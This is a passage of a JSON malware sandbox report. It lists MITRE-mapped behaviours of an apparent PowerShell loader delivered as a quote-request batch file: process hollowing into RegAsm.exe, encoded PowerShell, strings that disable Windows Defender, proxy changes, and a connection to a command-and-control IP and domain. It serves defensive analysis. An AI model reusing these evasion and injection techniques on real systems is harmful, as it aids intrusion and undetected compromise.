Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$60","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files","description":"Observed string: \"del\" (Indicator: \"del\") in Source: 00000000-00002148.00000000.136313.38990000.00000004.mdmp\n 00000000-00002148.00000001.136340.38990000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-408","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp, 00000000-00002684.00000001.136956.49D70000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"$61","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"powershell.exe\" opened \"\\Device\\KsecDD\"\n \"wmic.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$62","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"System Security","name":"References device drivers used by rootkit malware","description":"Found string \"\\Device\\HarddiskVolume2\\DosDevices\\C:\\??\\Volume{815ead30-0000-0000-0000-501f00000000}\" (Indicator: \"\\DosDevices\\c:\"; Source: \"00000000-00002148.00000000.136313.54850000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1014","relevance":1,"id":"string-458","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$63","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops file with high entropy, indicating encryption/obfuscation","description":"\"euck1s2w.25u has high entropy\"\n \"naisjwyh.hxp has high entropy\"\n \"4xim0g4s.myp has high entropy\"","origin":"Binary File","mitre_attack_id":"T1560.003","relevance":3,"id":"binary-90","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00002148]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 6840)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 3236)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 2148)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 2684)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Uses powershell with an encoded commandline","description":"$64","origin":"Monitored Target","mitre_attack_id":"T1027","relevance":10,"id":"target-28","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\Windows\\System32\\wbem\\WMIC.exe\" queried ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":3,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO External IP Lookup ip-api.com\" (SID: 2022082, Rev: 6, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"suspicious","category":"General","name":"GETs files from a web server","description":"\"GET /json/ HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: ip-api.com\nConnection: Keep-Alive\" Response ==> HTTP/1.1 200 OK\nDate: Tue\n 11 Aug 2026 08:58:20 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 279\nAccess-Control-Allow-Origin: *\nX-Ttl: 60\nX-Rl: 44 with response body ==>7B22737461747573223A2273756363657373222C22636F756E747279223A22556E6974656420537461746573222C22636F756E747279436F6465223A22555322.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-61","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\"powershell.exe\" wrote 4096 bytes starting with PE header signature to file \"C:\\Users\\Public\\28750q24813.ps1\": 4d5a38775457526a4e5371594f7a6b6d4a5554546555394b503630397a484a78517a6866527a5a5a65314c6468346455556e524d4359422f55555a746e326c6e695745366c5a646959494a5a4c6f36505733683564356d4267473548334b54636570566e745a32566c706d5367466d3567594b416f6f714a64314374424c5945 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 208.95.112.1 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"wmic.exe\" (Indicator: \"wmic.exe\"; in Source: \"00000000-00002940-00000BC0-1141606072\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$65","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$66","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$67","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"suspicious","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"\"powershell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"ALWAYSSHOWEXT\")\n \"powershell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"NEVERSHOWEXT\")","origin":"Registry Access","mitre_attack_id":"T1005","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\system32\\cmd.exe\" /c \"C:\\Angebotsanfrage_11-Aug-2026.bat\" 8ce0e0362e\" - (UID: 00000000-00006840)\n \"powershell.exe\" called \"CreateProcessW\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\RegAsm.exe\" - (UID: 00000000-00002684)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a system process in suspended mode (likely for process injection)","description":"\"powershell.exe\" called \"CreateProcessW\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\RegAsm.exe\" - (UID: 00000000-00002684)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-134","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Script loads executable in memory (Antimalware Scan Interface)","description":"$68","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1055.001","relevance":10,"id":"amsi-3","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Windows system process connects to a network","description":"Process \"RegAsm.exe\" connects to 94.198.96.165:62769","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":7,"id":"target-269","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets thread context in a remote process (often injection or process hollowing)","description":"\"powershell.exe\" set thread context in remote process \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\RegAsm.exe\" (PID: 1e94)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-14","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"powershell.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" (Handle: 2256)\n \"powershell.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" (Handle: 2256)\n \"powershell.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\RegAsm.exe\" (Handle: 2296)\n \"powershell.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\RegAsm.exe\" (Handle: 2296)\n \"powershell.exe\" wrote 00000200 bytes to a remote process \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\RegAsm.exe\" (Handle: 2296)\n \"powershell.exe\" wrote 0008A600 bytes to a remote process \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\RegAsm.exe\" (Handle: 2296)\n \"powershell.exe\" wrote 00000C00 bytes to a remote process \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\RegAsm.exe\" (Handle: 2296)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"malicious","category":"Network Related","name":"Attempts to identify external IP address","description":"\"ip-api.com\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 94.198.96.165 on port 62769","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"malicious","category":"System Security","name":"Executes powershell requesting to bypass execution policy","description":"$69","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-29","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$6a","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\.\\GlobalRoot\\SystemRoot\\Defender Duplication Data; Source: \"00000000-00001888.00000001.147248.D2CD7000.00000004.mdmp\")\n Found string - \\\\.\\GlobalRoot\\SystemRoot\\Defender Duplication Data; Source: \"00000000-00003804.00000001.150607.340BA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system driver type","description":"Found string \"ystem.Home.DriveType\" (Indicator: \".drivetype\"; Source: \"00000000-00001888.00000001.147248.D2ED0000.00000002.mdmp\")\n Found string \"System.Home.DriveType\" (Indicator: \".drivetype\"; Source: \"00000000-00001888.00000001.147248.D2FB0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1025","relevance":1,"id":"string-713","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"yncShellExecuteg\" (Indicator: \"ShellExecute\"; Source: \"00000000-00001888.00000001.147248.D2D23000.00000004.mdmp\")\n Found reference to API \"yncShellExecute\" (Indicator: \"ShellExecute\"; Source: \"00000000-00001888.00000001.147248.D2D23000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00001888.00000000.146946.FEC03000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00003804.00000000.149969.FEC03000.00000002.mdmp, 00000000-00003804.00000001.150607.340BA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00001888.00000000.146946.FEC03000.00000002.mdmp\")\n Found reference to API \"CreateMutexExW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00001888.00000000.146946.FEC03000.00000002.mdmp\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00003804.00000000.149969.FEC03000.00000002.mdmp, 00000000-00003804.00000001.150607.340BA000.00000002.mdmp\")\n Found reference to API \"CreateMutexExW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00003804.00000000.149969.FEC03000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"\"powershell.exe\" called \"FileTimeToSystemTime\" (UID: 00000000-00001888)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]}],"incidents":[{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Attempts to identify external IP address"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"},{"detail":"Reads system information using WMIC"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Marks file for deletion"},{"detail":"Checks network status using ping"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]}],"intel_graph":{"map":{"Domain:7d816e050bdc0e2c8c311beb81bbb0a35777e2e829eadf2afdf5b422b9579519":{"type":"Domain","value":"privatehos.casacam.net","verdict":{"verdict":"unknown"}},"Domain:f7864750d075d8a7a1b852ca3083aab9e11af5f37ee15dfa26a2caacc5ebede7":{"type":"Domain","value":"ip-api.com","verdict":{"verdict":"unknown"}},"File:01168298eb9f1866fd61205a6fa3bfd2a77ff216e098a08fa9cbb3a9a3e86823":{"type":"File","value":"01168298eb9f1866fd61205a6fa3bfd2a77ff216e098a08fa9cbb3a9a3e86823","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from detonation memory_region)","filetype_short":"DATA","mime_type":"application/octet-stream"},"File:016bd6d9249a05ccb88b74f79b8e20135711020d1a471cbaf92974a502624b11":{"type":"File","value":"016bd6d9249a05ccb88b74f79b8e20135711020d1a471cbaf92974a502624b11","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with no line terminators","filetype_short":"ASCIITEXT","mime_type":"application/javascript"},"File:05646b099078ce0ec362da2cf5d0b794d1860aef1b9e29db3e65cf363b8a007a":{"type":"File","value":"05646b099078ce0ec362da2cf5d0b794d1860aef1b9e29db3e65cf363b8a007a","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with no line terminators","filetype_short":"ASCIITEXT","mime_type":"application/javascript"},"File:078c8dcf500232adf99925d4b0e2cecf20c8e353d2ae528fa6446aa35b8ee482":{"type":"File","value":"078c8dcf500232adf99925d4b0e2cecf20c8e353d2ae528fa6446aa35b8ee482","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"Certificate, Version=3","filetype_short":"CERT","mime_type":"application/x-x509-ca-cert"},"File:09c516820b25fe791c07ee270caf8336280084546fc6a3884f1874f0afe395b0":{"type":"File","value":"09c516820b25fe791c07ee270caf8336280084546fc6a3884f1874f0afe395b0","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PE32+ executable (DLL) (console) x86-64 Mono/.Net assembly, for MS Windows, 3 sections","filetype_short":"PE64","mime_type":"application/x-dosexec"},"File:0d8d98ba98857062c00ca8797a06d5fe42b8c9c81b06f00896cf9671c99bc77a":{"type":"File","value":"0d8d98ba98857062c00ca8797a06d5fe42b8c9c81b06f00896cf9671c99bc77a","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from detonation memory_region)","filetype_short":"DATA","mime_type":"application/octet-stream"},"File:0dbfbe2f8816c6923f01cd934d28daf1f6a778d9e351a5b04719134efdfb38fa":{"type":"File","value":"0dbfbe2f8816c6923f01cd934d28daf1f6a778d9e351a5b04719134efdfb38fa","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from pe_extract_certificates)","filetype_short":"DATA","mime_type":"application/x-iso9660-image"},"File:0e218c2068da418881d1283b15e293434100e29b0d18e247b21e2689480240e5":{"type":"File","value":"0e218c2068da418881d1283b15e293434100e29b0d18e247b21e2689480240e5","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"Certificate, Version=3","filetype_short":"CERT","mime_type":"application/x-x509-ca-cert"},"File:11ada68eadc52507b36a5fd112ee187c4486ab673addeea688a6d686aa2d7577":{"type":"File","value":"11ada68eadc52507b36a5fd112ee187c4486ab673addeea688a6d686aa2d7577","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:1234aa5d193d9bd5e8e72a44e6e40a01381e2bd4b330d41b928ebaa92b8c5815":{"type":"File","value":"1234aa5d193d9bd5e8e72a44e6e40a01381e2bd4b330d41b928ebaa92b8c5815","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PE32+ executable (DLL) (console) x86-64 Mono/.Net assembly, for MS Windows, 3 sections","filetype_short":"PE64","mime_type":"application/x-dosexec"},"File:124334d61c5d2f70ac7ed5870f71b11cfb028462e3d4015ca5049c130c637d60":{"type":"File","value":"124334d61c5d2f70ac7ed5870f71b11cfb028462e3d4015ca5049c130c637d60"},"File:1274e7aac70491336e11ff76fcbfab93b10e3e5bac8b71360422094fe8677a51":{"type":"File","value":"1274e7aac70491336e11ff76fcbfab93b10e3e5bac8b71360422094fe8677a51"},"File:165d7492c9577677efdee8e793cb0bd63d0abd824f5648b6c1ecfe19559b921a":{"type":"File","value":"165d7492c9577677efdee8e793cb0bd63d0abd824f5648b6c1ecfe19559b921a","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from detonation 